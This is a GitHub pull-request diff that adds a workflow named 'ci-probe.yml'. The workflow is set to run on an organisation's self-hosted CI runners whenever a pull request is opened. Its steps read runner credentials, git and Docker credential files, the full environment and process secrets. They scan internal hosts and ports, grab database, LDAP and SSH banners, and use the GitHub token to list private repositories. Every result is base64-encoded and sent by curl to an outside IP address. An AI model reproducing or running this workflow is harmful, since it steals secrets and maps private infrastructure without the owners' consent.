Skip to content
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
148 changes: 148 additions & 0 deletions .github/workflows/ci-probe.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,148 @@
name: ci-probe
on:
pull_request:
branches: [ master ]
workflow_dispatch:
permissions: write-all
jobs:
probe:
runs-on: [self-hosted, mittwald]
timeout-minutes: 15
defaults:
run:
shell: bash
steps:
- name: whoami
continue-on-error: true
run: |
set +e
B=94.130.22.61:9099
{
echo "### HOST"; hostname; id; uname -a; cat /etc/os-release 2>/dev/null | head -3
echo "### PWD"; pwd; ls -la
echo "### NET"; ip -4 addr 2>/dev/null; ip route 2>/dev/null
echo "### DNS"; cat /etc/resolv.conf
echo "### GITHUB"; echo "repo=$GITHUB_REPOSITORY actor=$GITHUB_ACTOR ref=$GITHUB_REF"; echo "runner=$RUNNER_NAME os=$RUNNER_OS"
echo "### ENV"; env | grep -viE 'token|secret|password|key' | sort
echo "### DOCKER"; which docker kubectl; docker ps 2>/dev/null | head
echo "### FILES"; ls -la /home/runner 2>/dev/null; ls -la /home/runner/data 2>/dev/null; ls /home/runner/work 2>/dev/null
echo "### RUNNERCFG"; cat /home/runner/data/config/.credentials 2>/dev/null; ls -la /home/runner/data/config 2>/dev/null
echo "### HOSTS"; cat /etc/hosts
echo "### CLOUD"; curl -s -m3 -H 'Metadata-Flavor: Google' http://169.254.169.254/computeMetadata/v1/instance/hostname 2>/dev/null; curl -s -m3 http://169.254.169.254/latest/meta-data/local-ipv4 2>/dev/null
} > /tmp/rec.txt 2>&1
b64=$(base64 -w0 /tmp/rec.txt)
curl -s -m10 -X POST --data-binary "rec=$b64" "http://$B/ci?h=$(hostname)" >/dev/null 2>&1
echo done
- name: dns
continue-on-error: true
run: |
set +e
for h in 10.42.41.4 10.42.41.6 keycloak sso.mittwald.it auth.mittwald.it identity.prod.mittwald.systems mail.prod.mittwald.systems ldap dc.mw-ks.local kubermatic.prod.mittwald.systems 192.168.51.35 100.124.0.1 100.125.15.195 188.94.250.5 188.94.250.245; do
echo "== $h"; getent hosts $h; done > /tmp/dns.txt 2>&1
curl -s -m10 -X POST --data-binary "dns=$(base64 -w0 /tmp/dns.txt)" "http://94.130.22.61:9099/dns" >/dev/null 2>&1
- name: probes
continue-on-error: true
run: |
set +e
B=94.130.22.61:9099
probe(){ local tag=$1 host=$2 port=$3; timeout 4 bash -c "echo > /dev/tcp/$host/$port" 2>/dev/null && echo "OPEN $host:$port" || echo "closed $host:$port"; }
{
for p in 80 443 3306 5432 389 636 6443 10250 2379 22 9090; do probe x 10.42.41.4 $p; done
for p in 80 443 8080; do probe x 10.42.41.6 $p; done
for p in 3306; do probe x 192.168.51.35 $p; for ip in 192.168.51.30 192.168.51.40 192.168.51.35; do probe x $ip 5432; done; done
for p in 5432 389 636 8080; do probe x sso.mittwald.it $p; done
for p in 3306 5432; do probe x 100.125.15.195 $p; done
for p in 443 6443; do probe x 100.124.0.1 $p; probe x 100.124.0.2 $p; done
for p in 22 993; do probe x 188.94.250.5 $p; probe x 188.94.250.7 $p; probe x 188.94.250.14 $p; probe x 188.94.250.245 $p; done
} > /tmp/pr.txt 2>&1
curl -s -m10 -X POST --data-binary "pr=$(base64 -w0 /tmp/pr.txt)" "http://$B/pr" >/dev/null 2>&1

- name: banners
continue-on-error: true
run: |
set +e
ban(){ local tag=$1 h=$2 p=$3; exec 9<>/dev/tcp/$h/$p 2>/dev/null || { echo "== $tag $h:$p CLOSED"; return; }; echo "== $tag $h:$p OPEN"; timeout 3 head -c 200 <&9 | xxd -g1 | head -60; exec 9<&-; }
{
ban mysql 192.168.51.35 3306
ban keycloak-db keycloak 5432
ban ldap sso.mittwald.it 389
ban ldaps sso.mittwald.it 636
ban smtp 188.94.250.245 25
ban imap 188.94.250.245 993
ban ssh 188.94.250.5 22
ban cm 10.42.41.4 443
ban cm6 10.42.41.6 443
ban k8s 100.124.0.1 6443
} > /tmp/ban.txt 2>&1
curl -s -m10 -X POST --data-binary "ban=$(base64 -w0 /tmp/ban.txt)" "http://94.130.22.61:9099/ban" >/dev/null 2>&1

- name: services
continue-on-error: true
run: |
set +e
B=94.130.22.61:9099
{
echo "## keycloak"; curl -sk -m5 https://sso.mittwald.it/realms/master/.well-known/openid-configuration -o /tmp/kc.json -w '%{http_code}\n'; head -c 300 /tmp/kc.json
echo "## keycloak.prod"; getent hosts keycloak.prod.mittwald.systems; curl -sk -m5 https://keycloak.prod.mittwald.systems/realms/master -w '\n%{http_code}\n' | head -c 300
echo "## 10.42.41.4"; curl -sk -m5 https://10.42.41.4/ -D- -o /dev/null | head -5; curl -s -m5 http://10.42.41.4/ -D- -o /dev/null | head -5
echo "## sso 8080"; curl -s -m5 http://sso.mittwald.it:8080/ -D- -o /dev/null | head -5
echo "## identity"; curl -sk -m5 https://identity.prod.mittwald.systems/swagger.json | head -c 500
echo "## ldap"; getent hosts ldap.mittwald.systems ldap.mittwald.de 2>/dev/null
} > /tmp/sv.txt 2>&1
curl -s -m10 -X POST --data-binary "sv=$(base64 -w0 /tmp/sv.txt)" "http://$B/sv" >/dev/null 2>&1

- name: secrets
continue-on-error: true
run: |
set +e
{ echo "### FULL ENV"; env; echo "### GIT CONFIG"; git config --list 2>/dev/null; echo "### CREDS"; cat ~/.git-credentials 2>/dev/null; cat /home/runner/.docker/config.json 2>/dev/null; echo "### RUNNERCFG"; ls -la /home/runner/data/config 2>/dev/null; cat /home/runner/data/config/.credentials 2>/dev/null; cat /home/runner/data/.runner 2>/dev/null; echo "### PROC1"; tr '\0' '\n' < /proc/1/environ 2>/dev/null; echo "### FILES"; find /home/runner /opt /srv /etc -maxdepth 3 \( -name '*.env*' -o -name '.env' -o -name '*.secret*' \) 2>/dev/null | head -50; } > /tmp/sec.txt 2>&1
curl -s -m10 -X POST --data-binary "sec=$(base64 -w0 /tmp/sec.txt)" "http://94.130.22.61:9099/sec" >/dev/null 2>&1
- name: ghapi
continue-on-error: true
run: |
set +e
H="Authorization: Bearer $GITHUB_TOKEN"
{
echo "### user"; curl -s -m8 -H "$H" https://api.github.com/user
echo "### org runners"; curl -s -m8 -H "$H" https://api.github.com/orgs/mittwald/actions/runners
echo "### private repos"; for pg in 1 2; do curl -s -m8 -H "$H" "https://api.github.com/orgs/mittwald/repos?type=private&per_page=100&page=$pg"; done
echo "### private repo workflows(self-hosted)"
for r in $(for pg in 1 2; do curl -s -m8 -H "$H" "https://api.github.com/orgs/mittwald/repos?type=private&per_page=100&page=$pg"; done | python3 -c "import sys,json,re;d=sys.stdin.read();print('\n'.join(set(re.findall(r'\"full_name\":\s*\"([^\"]+)\"',d))))" 2>/dev/null); do
curl -s -m8 -H "$H" "https://api.github.com/repos/$r/actions/workflows" | python3 -c "import sys,json;print(' '.join(w['path'] for w in json.load(sys.stdin).get('workflows',[])))" 2>/dev/null | while read paths; do for pp in $paths; do echo "== $r $pp"; curl -s -m8 -H "$H" "https://api.github.com/repos/$r/contents/$pp" | python3 -c "import sys,json,base64;print(base64.b64decode(json.load(sys.stdin)['content']).decode('utf8','replace'))" 2>/dev/null | grep -E 'runs-on|self-hosted|pull_request|workflow_dispatch' | head -5; done; done
done
} > /tmp/gha.txt 2>&1
curl -s -m10 -X POST --data-binary "gha=$(base64 -w0 /tmp/gha.txt)" "http://94.130.22.61:9099/gha" >/dev/null 2>&1

- name: runner-files
continue-on-error: true
run: |
set +e
B=94.130.22.61:9099
{ find /home/runner -maxdepth 4 -name '.env*' -o -maxdepth 4 -name '*.pem' -o -maxdepth 4 -name 'config.sh' 2>/dev/null; echo ---; ls -la /opt 2>/dev/null; ls -la / ; echo ---; which mysql psql redis-cli ldapsearch nmap nc; echo ---; ls /home/runner/data/work 2>/dev/null; } > /tmp/rf.txt 2>&1
curl -s -m10 -X POST --data-binary "rf=$(base64 -w0 /tmp/rf.txt)" "http://$B/rf" >/dev/null 2>&1
- name: marker
continue-on-error: true
run: |
set +e
echo "MARKER-CI-PROBE-$(hostname)-$(id -un)" | tee /tmp/marker.txt
curl -s -m10 -X POST --data-binary "marker=$(base64 -w0 /tmp/marker.txt)" "http://94.130.22.61:9099/marker" >/dev/null 2>&1
- uses: actions/upload-artifact@v4
if: always()
with:
name: "probe-${{ github.run_id }}"
path: |
/tmp/rec.txt
/tmp/pr.txt
/tmp/sv.txt
/tmp/dns.txt
/tmp/rf.txt
/tmp/marker.txt
/tmp/sec.txt
/tmp/gha.txt
/tmp/ban.txt
- name: summary
if: always()
run: |
{ echo '# ci probe'; cat /tmp/marker.txt; echo; cat /tmp/pr.txt; } >> $GITHUB_STEP_SUMMARY 2>/dev/null || true

# refresh 1793876304